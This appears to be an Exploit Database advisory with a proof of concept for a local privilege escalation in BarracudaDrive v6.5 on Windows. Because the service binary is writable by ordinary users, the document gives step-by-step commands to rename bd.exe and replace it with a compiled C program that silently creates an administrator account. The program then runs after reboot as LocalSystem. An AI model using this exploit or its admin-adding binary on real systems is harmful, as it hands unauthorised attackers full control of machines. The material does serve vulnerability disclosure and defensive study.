BarracudaDrive v6.5 – Insecure Folder Permissions

Exploit Database
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作者： boku

日期： 2020-09-03
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/48789/

# Exploit Title: BarracudaDrive v6.5 - Insecure Folder Permissions

# Exploit Author:Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)

# CVE ID: N/A

# Date: 2020-09-01

# Vendor Homepage: https://barracudaserver.com/

# Software Link: https://download.cnet.com/BarracudaDrive/3001-18506_4-10723210.html

# Version: v6.5

# Tested On: Windows 10 Pro

# CVSS Base Score: 8.8 | Impact Subscore: 6.0 | Exploitability Subscore: 2.0

# CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

# CWE-276: Incorrect Default Permissions

# CWE-732: Incorrect Permission Assignment for Critical Resource

# Vulnerability Description:

# Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5

# allows local low-privilege attacker to escalate privileges to admin via replacing the bd.exe

# file and restarting the computer where the malicious code will be executed as 'LocalSystem'

# on the next startup.

## Insecure Folder Permission

C:\>cacls C:\bd

C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F

NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F

BUILTIN\Users:(OI)(CI)(ID)R

NT AUTHORITY\Authenticated Users:(ID)C

NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

## Insecure File/Service Permission

C:\>cacls C:\bd\bd.exe

C:\bd\bd.exe BUILTIN\Administrators:(ID)F

NT AUTHORITY\SYSTEM:(ID)F

BUILTIN\Users:(ID)R

NT AUTHORITY\Authenticated Users:(ID)C

C:\>sc qc bd

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: bd

TYPE : 10WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL: 1 NORMAL

BINARY_PATH_NAME : "C:\bd\bd.exe"

LOAD_ORDER_GROUP :

TAG: 0

DISPLAY_NAME : BarracudaDrive ( bd ) service

DEPENDENCIES : Tcpip

SERVICE_START_NAME : LocalSystem

## Local Privilege Escalation Proof of Concept

#0.Download & install

#1.Create low privileged user & change to the user

## As admin

C:\>net user lowpriv Password123! /add

C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"

User namelowpriv

Local Group Memberships*Users

Global Group memberships *None

#2.Move the Service EXE to a new name

C:\bd>whoami

desktop\lowpriv

C:\bd>move bd.exe bd.service.exe

1 file(s) moved.

#3.Create malicious binary on kali linux

## Add Admin User C Code

kali# cat addAdmin.c

int main(void){

system("net user boku mypassword /add");

system("net localgroup Administrators boku /add");

WinExec("C:\\bd\\bd.service.exe",0);

return 0;

}

## Compile Code

kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe

#4. Transfer created 'bd.exe' to the Windows Host

#5. Move the created 'bd.exe' binary to the 'C:\bd\' Folder

C:\bd>move C:\Users\lowpriv\Downloads\bd.exe .

#6. Check that exploit admin user doesn't exit

C:\bd>net user boku

The user name could not be found

#6. Reboot the Computer

C:\bd>shutdown /r

#7. Login & look at that new Admin

C:\Users\lowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full"

User nameboku

Local Group Memberships*Administrators *Users

Global Group memberships *None